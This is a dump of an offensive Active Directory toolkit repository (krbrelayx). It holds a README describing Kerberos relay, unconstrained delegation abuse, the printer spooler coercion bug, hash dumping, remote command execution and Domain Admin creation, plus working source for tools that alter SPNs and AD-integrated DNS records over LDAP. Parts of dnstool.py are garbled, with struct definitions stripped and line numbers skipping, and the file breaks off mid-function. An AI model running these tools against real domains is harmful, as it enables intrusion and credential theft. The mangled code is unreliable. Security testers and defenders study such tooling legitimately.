├── .gitignore ├── LICENSE ├── README.md ├── addspn.py ├── dnstool.py ├── krbrelayx.py ├── lib ├── __init__.py ├── clients │ ├── __init__.py │ ├── httprelayclient.py │ ├── ldaprelayclient.py │ └── smbrelayclient.py ├── servers │ ├── __init__.py │ ├── dnsrelayserver.py │ ├── httprelayserver.py │ └── smbrelayserver.py └── utils │ ├── __init__.py │ ├── config.py │ ├── kerberos.py │ ├── krbcredccache.py │ └── spnego.py └── printerbug.py /.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | venv/ 3 | *.egg-info 4 | dist/ 5 | *.pyc 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Krbrelayx - Kerberos relaying and unconstrained delegation abuse toolkit 2 | 3 | Toolkit for abusing Kerberos. 4 | Requires [impacket](https://github.com/SecureAuthCorp/impacket), [ldap3](https://github.com/cannatag/ldap3) and dnspython to function. 5 | It is recommended to install impacket from git directly to have the latest version available. 6 | 7 | More info about this toolkit available in my blog . Information about Kerberos relaying in the follow-up blog . 8 | 9 | # Tools included 10 | ## addspn.py 11 | This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP. 12 | ``` 13 | usage: addspn.py [-h] [-u USERNAME] [-p PASSWORD] [-t TARGET] -s SPN [-r] [-q] 14 | [-a] 15 | HOSTNAME 16 | 17 | Add an SPN to a user/computer account 18 | 19 | Required options: 20 | HOSTNAME Hostname/ip or ldap://host:port connection string to 21 | connect to 22 | 23 | Main options: 24 | -h, --help show this help message and exit 25 | -u USERNAME, --user USERNAME 26 | DOMAIN\username for authentication 27 | -p PASSWORD, --password PASSWORD 28 | Password or LM:NTLM hash, will prompt if not specified 29 | -t TARGET, --target TARGET 30 | Computername or username to target (FQDN or COMPUTER$ 31 | name, if unspecified user with -u is target) 32 | -s SPN, --spn SPN servicePrincipalName to add (for example: 33 | http/host.domain.local or cifs/host.domain.local) 34 | -r, --remove Remove the SPN instead of add it 35 | -q, --query Show the current target SPNs instead of modifying 36 | anything 37 | -a, --additional Add the SPN via the msDS-AdditionalDnsHostName 38 | attribute 39 | ``` 40 | 41 | ## dnstool.py 42 | Add/modify/delete Active Directory Integrated DNS records via LDAP. 43 | ``` 44 | usage: dnstool.py [-h] [-u USERNAME] [-p PASSWORD] [--forest] [--legacy] [--zone ZONE] 45 | [--print-zones] [--tcp] [-k] [-dc-ip ip address] [-dns-ip ip address] 46 | [-aesKey hex key] [-r TARGETRECORD] 47 | [-a {add,modify,query,remove,resurrect,ldapdelete}] [-t {A}] [-d RECORDDATA] 48 | [--allow-multiple] [--ttl TTL] 49 | HOSTNAME 50 | 51 | Query/modify DNS records for Active Directory integrated DNS via LDAP 52 | 53 | Required options: 54 | HOSTNAME Hostname/ip or ldap://host:port connection string to 55 | connect to 56 | 57 | Main options: 58 | -h, --help show this help message and exit 59 | -u USERNAME, --user USERNAME 60 | DOMAIN\username for authentication. 61 | -p PASSWORD, --password PASSWORD 62 | Password or LM:NTLM hash, will prompt if not specified 63 | --forest Search the ForestDnsZones instead of DomainDnsZones 64 | --zone ZONE Zone to search in (if different than the current 65 | domain) 66 | --print-zones Only query all zones on the DNS server, no other 67 | modifications are made 68 | 69 | Record options: 70 | -r TARGETRECORD, --record TARGETRECORD 71 | Record to target (FQDN) 72 | -a {add,modify,query,remove,ldapdelete}, --action {add,modify,query,remove,ldapdelete} 73 | Action to perform. Options: add (add a new record), 74 | modify (modify an existing record), query (show 75 | existing), remove (mark record for cleanup from DNS 76 | cache), delete (delete from LDAP). Default: query 77 | -t {A}, --type {A} Record type to add (Currently only A records 78 | supported) 79 | -d RECORDDATA, --data RECORDDATA 80 | Record data (IP address) 81 | --allow-multiple Allow multiple A records for the same name 82 | --ttl TTL TTL for record (default: 180) 83 | ``` 84 | 85 | ## printerbug.py 86 | Simple tool to trigger SpoolService bug via RPC backconnect. Similar to [dementor.py](https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc). Thanks to @agsolino for implementing these RPC calls. 87 | 88 | ``` 89 | usage: printerbug.py [-h] [-target-file file] [-port [destination port]] 90 | [-hashes LMHASH:NTHASH] [-no-pass] 91 | target attackerhost 92 | 93 | positional arguments: 94 | target [[domain/]username[:password]@] 95 | attackerhost hostname to connect to 96 | 97 | optional arguments: 98 | -h, --help show this help message and exit 99 | 100 | connection: 101 | -target-file file Use the targets in the specified file instead of the 102 | one on the command line (you must still specify 103 | something as target name) 104 | -port [destination port] 105 | Destination port to connect to SMB Server 106 | 107 | authentication: 108 | -hashes LMHASH:NTHASH 109 | NTLM hashes, format is LMHASH:NTHASH 110 | -no-pass don't ask for password (useful when proxying through 111 | ntlmrelayx) 112 | -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. 113 | If valid credentials cannot be found, it will use the ones specified in the command line 114 | -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target 115 | parameter 116 | -target-ip ip address 117 | IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful 118 | when target is the NetBIOS name or Kerberos name and you cannot resolve it 119 | ``` 120 | 121 | ## krbrelayx.py 122 | This tool has multiple use options: 123 | 124 | * **Kerberos relaying**: When no credentials are supplied, but at least one target is specified, krbrelayx will forward the Kerberos authentication to a matching target hostname, effectively relaying the authentication. How to get incoming Kerberos auth with a valid SPN is up to you, but you could use mitm6 for this. 125 | * **Unconstrained delegation abuse**: In this mode, krbrelayx will either decrypt and dump incoming TGTs embedded in authentication with unconstrained delegation, or immediately use the TGTs to authenticate to a target service. This requires that credentials for an account with unconstrained delegation are specified. 126 | 127 | ``` 128 | usage: krbrelayx.py [-h] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w] [-ip INTERFACE_IP] [-r SMBSERVER] [-l LOOTDIR] 129 | [-f {ccache,kirbi}] [-codec CODEC] [-no-smb2support] [-wh WPAD_HOST] [-wa WPAD_AUTH_NUM] [-6] [-p PASSWORD] 130 | [-hp HEXPASSWORD] [-s USERNAME] [-hashes LMHASH:NTHASH] [-aesKey hex key] [-dc-ip ip address] [-e FILE] 131 | [-c COMMAND] [--enum-local-admins] [--no-dump] [--no-da] [--no-acl] [--no-validate-privs] 132 | [--escalate-user ESCALATE_USER] [--add-computer] [--delegate-access] [--adcs] [--template TEMPLATE] 133 | [-v TARGET] 134 | 135 | Kerberos relay and unconstrained delegation abuse tool. By @_dirkjan / dirkjanm.io 136 | 137 | Main options: 138 | -h, --help show this help message and exit 139 | -debug Turn DEBUG output ON 140 | -t TARGET, --target TARGET 141 | Target to attack, since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If 142 | unspecified, will store tickets for later use. 143 | -tf TARGETSFILE File that contains targets by hostname or full URL, one per line 144 | -w Watch the target file for changes and update target list automatically (only valid with -tf) 145 | -ip INTERFACE_IP, --interface-ip INTERFACE_IP 146 | IP address of interface to bind SMB and HTTP servers 147 | -r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER 148 | -l LOOTDIR, --lootdir LOOTDIR 149 | Loot directory in which gathered loot (TGTs or dumps) will be stored (default: current directory). 150 | -f {ccache,kirbi}, --format {ccache,kirbi} 151 | Format to store tickets in. Valid: ccache (Impacket) or kirbi (Mimikatz format) default: ccache 152 | -codec CODEC Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run 153 | chcp.com at the target, map the result with https://docs.python.org/2.4/lib/standard-encodings.html and 154 | then execute ntlmrelayx.py again with -codec and the corresponding codec 155 | -no-smb2support Disable SMB2 Support 156 | -wh WPAD_HOST, --wpad-host WPAD_HOST 157 | Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host to the one supplied. 158 | -wa WPAD_AUTH_NUM, --wpad-auth-num WPAD_AUTH_NUM 159 | Prompt for authentication N times for clients without MS16-077 installed before serving a WPAD file. 160 | -6, --ipv6 Listen on both IPv6 and IPv4 161 | 162 | Kerberos Keys (of your account with unconstrained delegation): 163 | -p PASSWORD, --krbpass PASSWORD 164 | Account password 165 | -hp HEXPASSWORD, --krbhexpass HEXPASSWORD 166 | Hex-encoded password 167 | -s USERNAME, --krbsalt USERNAME 168 | Case sensitive (!) salt. Used to calculate Kerberos keys.Only required if specifying password instead 169 | of keys. 170 | -hashes LMHASH:NTHASH 171 | NTLM hashes, format is LMHASH:NTHASH 172 | -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) 173 | -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target 174 | parameter 175 | 176 | SMB attack options: 177 | -e FILE File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be 178 | in the same directory) 179 | -c COMMAND Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in 180 | the same directory). 181 | --enum-local-admins If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary) 182 | 183 | LDAP attack options: 184 | --no-dump Do not attempt to dump LDAP information 185 | --no-da Do not attempt to add a Domain Admin 186 | --no-acl Disable ACL attacks 187 | --no-validate-privs Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL 188 | attacks 189 | --escalate-user ESCALATE_USER 190 | Escalate privileges of this user instead of creating a new one 191 | --add-computer Attempt to add a new computer account 192 | --delegate-access Delegate access on relayed computer account to the specified account 193 | 194 | AD CS attack options: 195 | --adcs Enable AD CS relay attack 196 | --template TEMPLATE AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC 197 | should require specifying `DomainController` 198 | -v TARGET, --victim TARGET 199 | Victim username or computername$, to request the correct certificate name. 200 | ``` 201 | 202 | ### TODO: 203 | - Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with `-k` 204 | - Conversion tool from/to ccache/kirbi 205 | - SMB1 support in the SMB relay server -------------------------------------------------------------------------------- /addspn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #################### 3 | # 4 | # Copyright (c) 2023 Dirk-jan Mollema (@_dirkjan) 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | # 24 | # 25 | # Add an SPN to a user/computer account via LDAP 26 | # 27 | #################### 28 | import sys 29 | import argparse 30 | import random 31 | import string 32 | import getpass 33 | import os 34 | from impacket.krb5.ccache import CCache 35 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 36 | from impacket.krb5.types import Principal 37 | from impacket.krb5 import constants 38 | from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE, SASL, KERBEROS 39 | from lib.utils.kerberos import ldap_kerberos 40 | import ldap3 41 | from ldap3.protocol.microsoft import security_descriptor_control 42 | 43 | def print_m(string): 44 | sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string)) 45 | 46 | def print_o(string): 47 | sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string)) 48 | 49 | def print_f(string): 50 | sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string)) 51 | 52 | def main(): 53 | parser = argparse.ArgumentParser(description='Add an SPN to a user/computer account') 54 | parser._optionals.title = "Main options" 55 | parser._positionals.title = "Required options" 56 | 57 | #Main parameters 58 | parser.add_argument("host", metavar='HOSTNAME', help="Hostname/ip or ldap://host:port connection string to connect to") 59 | parser.add_argument("-u", "--user", metavar='USERNAME', help="DOMAIN\\username for authentication") 60 | parser.add_argument("-p", "--password", metavar='PASSWORD', help="Password or LM:NTLM hash, will prompt if not specified") 61 | parser.add_argument("-t", "--target", metavar='TARGET', help="Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target)") 62 | parser.add_argument("-T", "--target-type", metavar='TARGETTYPE', choices=('samname','hostname','auto'), default='auto', help="Target type (samname or hostname) If unspecified, will assume it's a hostname if there is a . in the name and a SAM name otherwise.") 63 | parser.add_argument("-s", "--spn", metavar='SPN', help="servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local)") 64 | parser.add_argument("-r", "--remove", action='store_true', help="Remove the SPN instead of add it") 65 | parser.add_argument("-c", "--clear", action='store_true', help="Clear, i.e. remove all SPNs") 66 | parser.add_argument("-q", "--query", action='store_true', help="Show the current target SPNs instead of modifying anything") 67 | parser.add_argument("-a", "--additional", action='store_true', help="Add the SPN via the msDS-AdditionalDnsHostName attribute") 68 | parser.add_argument('-k', '--kerberos', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 69 | '(KRB5CCNAME) based on target parameters. If valid credentials ' 70 | 'cannot be found, it will use the ones specified in the command ' 71 | 'line') 72 | parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter') 73 | parser.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' 74 | '(128 or 256 bits)') 75 | 76 | args = parser.parse_args() 77 | 78 | if not args.query and not args.clear: 79 | if not args.spn: 80 | parser.error("-s/--spn is required when not querying (-q/--query) or clearing (--clear)") 81 | 82 | #Prompt for password if not set 83 | authentication = None 84 | if not args.user or not '\\' in args.user: 85 | print_f('Username must include a domain, use: DOMAIN\\username') 86 | sys.exit(1) 87 | domain, user = args.user.split('\\', 1) 88 | if not args.kerberos: 89 | authentication = NTLM 90 | sasl_mech = None 91 | if args.password is None: 92 | args.password = getpass.getpass() 93 | else: 94 | TGT = None 95 | TGS = None 96 | try: 97 | # Hashes 98 | lmhash, nthash = args.password.split(':') 99 | assert len(nthash) == 32 100 | password = '' 101 | except: 102 | # Password 103 | lmhash = '' 104 | nthash = '' 105 | password = args.password 106 | if 'KRB5CCNAME' in os.environ and os.path.exists(os.environ['KRB5CCNAME']): 107 | domain, user, TGT, TGS = CCache.parseFile(domain, user, 'ldap/%s' % args.host) 108 | if args.dc_ip is None: 109 | kdcHost = domain 110 | else: 111 | kdcHost = options.dc_ip 112 | userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 113 | if not TGT and not TGS: 114 | tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, args.aesKey, kdcHost) 115 | elif TGT: 116 | # Has TGT 117 | tgt = TGT['KDC_REP'] 118 | cipher = TGT['cipher'] 119 | sessionKey = TGT['sessionKey'] 120 | if not TGS: 121 | # Request TGS 122 | serverName = Principal('ldap/%s' % args.host, type=constants.PrincipalNameType.NT_SRV_INST.value) 123 | TGS = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) 124 | else: 125 | # Convert to tuple expected 126 | TGS = (TGS['KDC_REP'], TGS['cipher'], TGS['sessionKey'], TGS['sessionKey']) 127 | authentication = SASL 128 | sasl_mech = KERBEROS 129 | 130 | controls = security_descriptor_control(sdflags=0x04) 131 | # define the server and the connection 132 | s = Server(args.host, get_info=ALL) 133 | print_m('Connecting to host...') 134 | c = Connection(s, user=args.user, password=args.password, authentication=authentication, sasl_mechanism=sasl_mech) 135 | print_m('Binding to host') 136 | # perform the Bind operation 137 | if authentication == NTLM: 138 | if not c.bind(): 139 | print_f('Could not bind with specified credentials') 140 | print_f(c.result) 141 | sys.exit(1) 142 | else: 143 | ldap_kerberos(domain, kdcHost, None, userName, c, args.host, TGS) 144 | print_o('Bind OK') 145 | 146 | if args.target: 147 | targetuser = args.target 148 | else: 149 | targetuser = args.user.split('\\')[1] 150 | 151 | if ('.' in targetuser and args.target_type != 'samname') or args.target_type == 'hostname': 152 | if args.target_type == 'auto': 153 | print_m('Assuming target is a hostname. If this is incorrect use --target-type samname') 154 | search = '(dnsHostName=%s)' % targetuser 155 | else: 156 | search = '(SAMAccountName=%s)' % targetuser 157 | c.search(s.info.other['defaultNamingContext'][0], search, controls=controls, attributes=['SAMAccountName', 'servicePrincipalName', 'dnsHostName', 'msds-additionaldnshostname']) 158 | 159 | try: 160 | targetobject = c.entries[0] 161 | print_o('Found modification target') 162 | except IndexError: 163 | print_f('Target not found!') 164 | return 165 | 166 | if args.remove: 167 | operation = ldap3.MODIFY_DELETE 168 | elif args.clear: 169 | operation = ldap3.MODIFY_REPLACE 170 | else: 171 | operation = ldap3.MODIFY_ADD 172 | 173 | if args.query: 174 | # If we only want to query it 175 | print(targetobject) 176 | return 177 | 178 | 179 | if not args.additional: 180 | if args.clear: 181 | print_o('Printing object before clearing') 182 | print(targetobject) 183 | c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [])]}) 184 | else: 185 | c.modify(targetobject.entry_dn, {'servicePrincipalName':[(operation, [args.spn])]}) 186 | else: 187 | try: 188 | host = args.spn.split('/')[1] 189 | except IndexError: 190 | # Assume this is the hostname 191 | host = args.spn 192 | c.modify(targetobject.entry_dn, {'msds-additionaldnshostname':[(operation, [host])]}) 193 | 194 | if c.result['result'] == 0: 195 | print_o('SPN Modified successfully') 196 | else: 197 | if c.result['result'] == 50: 198 | print_f('Could not modify object, the server reports insufficient rights: %s' % c.result['message']) 199 | elif c.result['result'] == 19: 200 | print_f('Could not modify object, the server reports a constrained violation') 201 | if args.additional: 202 | print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs ending on the domain FQDN)') 203 | else: 204 | print_f('You either supplied a malformed SPN, or you do not have access rights to add this SPN (Validated write only allows adding SPNs matching the hostname)') 205 | print_f('To add any SPN in the current domain, use --additional to add the SPN via the msDS-AdditionalDnsHostName attribute') 206 | else: 207 | print_f('The server returned an error: %s' % c.result['message']) 208 | 209 | 210 | if __name__ == '__main__': 211 | main() 212 | -------------------------------------------------------------------------------- /dnstool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #################### 3 | # 4 | # Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan) 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | # 24 | # Tool to interact with ADIDNS over LDAP 25 | # 26 | #################### 27 | import sys 28 | import argparse 29 | import getpass 30 | import re 31 | import os 32 | import socket 33 | from struct import unpack, pack 34 | from impacket.structure import Structure 35 | from impacket.krb5.ccache import CCache 36 | from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS 37 | from impacket.krb5.types import Principal 38 | from impacket.krb5 import constants 39 | from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE, SASL, KERBEROS 40 | from lib.utils.kerberos import ldap_kerberos 41 | import ldap3 42 | from impacket.ldap import ldaptypes 43 | import dns.resolver 44 | import datetime 45 | 46 | def print_m(string): 47 | sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string)) 48 | 49 | def print_o(string): 50 | sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string)) 51 | 52 | def print_f(string): 53 | sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string)) 54 | 55 | 56 | 57 | class DNS_RECORD(Structure): 58 | """ 59 | dnsRecord - used in LDAP 60 | [MS-DNSP] section 2.3.2.2 61 | """ 62 | structure = ( 63 | ('DataLength', 'L'), 70 | ('Reserved', 'H'), 126 | ('wRecordCount', '>H'), 127 | ('dwFlags', '>L'), 128 | ('dwChildCount', '>L'), 129 | ('dnsNodeName', ':') 130 | ) 131 | 132 | class DNS_RPC_RECORD_A(Structure): 133 | """ 134 | DNS_RPC_RECORD_A 135 | [MS-DNSP] section 2.2.2.2.4.1 136 | """ 137 | structure = ( 138 | ('address', ':'), 139 | ) 140 | 141 | def formatCanonical(self): 142 | return socket.inet_ntoa(self['address']) 143 | 144 | def fromCanonical(self, canonical): 145 | self['address'] = socket.inet_aton(canonical) 146 | 147 | 148 | class DNS_RPC_RECORD_NODE_NAME(Structure): 149 | """ 150 | DNS_RPC_RECORD_NODE_NAME 151 | [MS-DNSP] section 2.2.2.2.4.2 152 | """ 153 | structure = ( 154 | ('nameNode', ':', DNS_COUNT_NAME), 155 | ) 156 | 157 | class DNS_RPC_RECORD_SOA(Structure): 158 | """ 159 | DNS_RPC_RECORD_SOA 160 | [MS-DNSP] section 2.2.2.2.4.3 161 | """ 162 | structure = ( 163 | ('dwSerialNo', '>L'), 164 | ('dwRefresh', '>L'), 165 | ('dwRetry', '>L'), 166 | ('dwExpire', '>L'), 167 | ('dwMinimumTtl', '>L'), 168 | ('namePrimaryServer', ':', DNS_COUNT_NAME), 169 | ('zoneAdminEmail', ':', DNS_COUNT_NAME) 170 | ) 171 | 172 | class DNS_RPC_RECORD_NULL(Structure): 173 | """ 174 | DNS_RPC_RECORD_NULL 175 | [MS-DNSP] section 2.2.2.2.4.4 176 | """ 177 | structure = ( 178 | ('bData', ':'), 179 | ) 180 | 181 | # Some missing structures here that I skipped 182 | 183 | class DNS_RPC_RECORD_NAME_PREFERENCE(Structure): 184 | """ 185 | DNS_RPC_RECORD_NAME_PREFERENCE 186 | [MS-DNSP] section 2.2.2.2.4.8 187 | """ 188 | structure = ( 189 | ('wPreference', '>H'), 190 | ('nameExchange', ':', DNS_COUNT_NAME) 191 | ) 192 | 193 | # Some missing structures here that I skipped 194 | 195 | class DNS_RPC_RECORD_AAAA(Structure): 196 | """ 197 | DNS_RPC_RECORD_AAAA 198 | [MS-DNSP] section 2.2.2.2.4.17 199 | [MS-DNSP] section 2.2.2.2.4.17 200 | """ 201 | structure = ( 202 | ('ipv6Address', '16s'), 203 | ) 204 | 205 | class DNS_RPC_RECORD_SRV(Structure): 206 | """ 207 | DNS_RPC_RECORD_SRV 208 | [MS-DNSP] section 2.2.2.2.4.18 209 | """ 210 | structure = ( 211 | ('wPriority', '>H'), 212 | ('wWeight', '>H'), 213 | ('wPort', '>H'), 214 | ('nameTarget', ':', DNS_COUNT_NAME) 215 | ) 216 | 217 | class DNS_RPC_RECORD_TS(Structure): 218 | """ 219 | DNS_RPC_RECORD_TS 220 | [MS-DNSP] section 2.2.2.2.4.23 221 | """ 222 | structure = ( 223 | ('entombedTime', ' 0: 455 | print_m('Found %d domain DNS zones:' % len(zones)) 456 | for zone in zones: 457 | print(' %s' % zone) 458 | forestdns = 'CN=MicrosoftDNS,DC=ForestDnsZones,%s' % s.info.other['rootDomainNamingContext'][0] 459 | zones = get_dns_zones(c, forestdns,attr) 460 | if len(zones) > 0: 461 | print_m('Found %d forest DNS zones:' % len(zones)) 462 | for zone in zones: 463 | print(' %s' % zone) 464 | return 465 | 466 | 467 | target = args.record 468 | if args.zone: 469 | zone = args.zone 470 | else: 471 | # Default to current domain 472 | zone = ldap2domain(domainroot) 473 | 474 | if not target: 475 | print_f('You need to specify a target record') 476 | return 477 | 478 | if target.lower().endswith(zone.lower()): 479 | target = target[:-(len(zone)+1)] 480 | 481 | 482 | searchtarget = 'DC=%s,%s' % (zone, dnsroot) 483 | # print s.info.naming_contexts 484 | c.search(searchtarget, '(&(objectClass=dnsNode)(name=%s))' % ldap3.utils.conv.escape_filter_chars(target), attributes=['dnsRecord','dNSTombstoned','name']) 485 | targetentry = None 486 | for entry in c.response: 487 | if entry['type'] != 'searchResEntry': 488 | continue 489 | targetentry = entry 490 | 491 | # Check if we have the required data 492 | if args.action in ['add', 'modify', 'remove'] and not args.data: 493 | print_f('This operation requires you to specify record data with --data') 494 | return 495 | 496 | 497 | # Check if we need the target record to exists, and if yes if it does 498 | if args.action in ['modify', 'remove', 'ldapdelete', 'resurrect', 'query'] and not targetentry: 499 | print_f('Target record not found!') 500 | return 501 | 502 | 503 | if args.action == 'query': 504 | print_o('Found record %s' % targetentry['attributes']['name']) 505 | for record in targetentry['raw_attributes']['dnsRecord']: 506 | dr = DNS_RECORD(record) 507 | # dr.dump() 508 | print(targetentry['dn']) 509 | print_record(dr, targetentry['attributes']['dNSTombstoned']) 510 | continue 511 | elif args.action == 'add': 512 | # Only A records for now 513 | addtype = 1 514 | # Entry exists 515 | if targetentry: 516 | if not args.allow_multiple: 517 | for record in targetentry['raw_attributes']['dnsRecord']: 518 | dr = DNS_RECORD(record) 519 | if dr['Type'] == 1: 520 | address = DNS_RPC_RECORD_A(dr['Data']) 521 | print_f('Record already exists and points to %s. Use --action modify to overwrite or --allow-multiple to override this' % address.formatCanonical()) 522 | return False 523 | # If we are here, no A records exists yet 524 | record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) 525 | record['Data'] = DNS_RPC_RECORD_A() 526 | record['Data'].fromCanonical(args.data) 527 | print_m('Adding extra record') 528 | c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_ADD, record.getData())]}) 529 | print_operation_result(c.result) 530 | else: 531 | node_data = { 532 | # Schema is in the root domain (take if from schemaNamingContext to be sure) 533 | 'objectCategory': 'CN=Dns-Node,%s' % s.info.other['schemaNamingContext'][0], 534 | 'dNSTombstoned': False, 535 | 'name': target 536 | } 537 | record = new_record(addtype, get_next_serial(args.dns_ip, args.host, zone,args.tcp)) 538 | record['Data'] = DNS_RPC_RECORD_A() 539 | record['Data'].fromCanonical(args.data) 540 | record_dn = 'DC=%s,%s' % (target, searchtarget) 541 | node_data['dnsRecord'] = [record.getData()] 542 | print_m('Adding new record') 543 | c.add(record_dn, ['top', 'dnsNode'], node_data) 544 | print_operation_result(c.result) 545 | elif args.action == 'modify': 546 | # Only A records for now 547 | addtype = 1 548 | # We already know the entry exists 549 | targetrecord = None 550 | records = [] 551 | for record in targetentry['raw_attributes']['dnsRecord']: 552 | dr = DNS_RECORD(record) 553 | if dr['Type'] == 1: 554 | targetrecord = dr 555 | else: 556 | records.append(record) 557 | if not targetrecord: 558 | print_f('No A record exists yet. Use --action add to add it') 559 | targetrecord['Serial'] = get_next_serial(args.dns_ip, args.host, zone,args.tcp) 560 | targetrecord['Data'] = DNS_RPC_RECORD_A() 561 | targetrecord['Data'].fromCanonical(args.data) 562 | records.append(targetrecord.getData()) 563 | print_m('Modifying record') 564 | c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_REPLACE, records)]}) 565 | print_operation_result(c.result) 566 | elif args.action == 'remove': 567 | addtype = 0 568 | if len(targetentry['raw_attributes']['dnsRecord']) > 1: 569 | print_m('Target has multiple records, removing the one specified') 570 | targetrecord = None 571 | for record in targetentry['raw_attributes']['dnsRecord']: 572 | dr = DNS_RECORD(record) 573 | if dr['Type'] == 1: 574 | tr = DNS_RPC_RECORD_A(dr['Data']) 575 | if tr.formatCanonical() == args.data: 576 | targetrecord = record 577 | if not targetrecord: 578 | print_f('Could not find a record with the specified data') 579 | return 580 | c.modify(targetentry['dn'], {'dnsRecord': [(MODIFY_DELETE, targetrecord)]}) 581 | 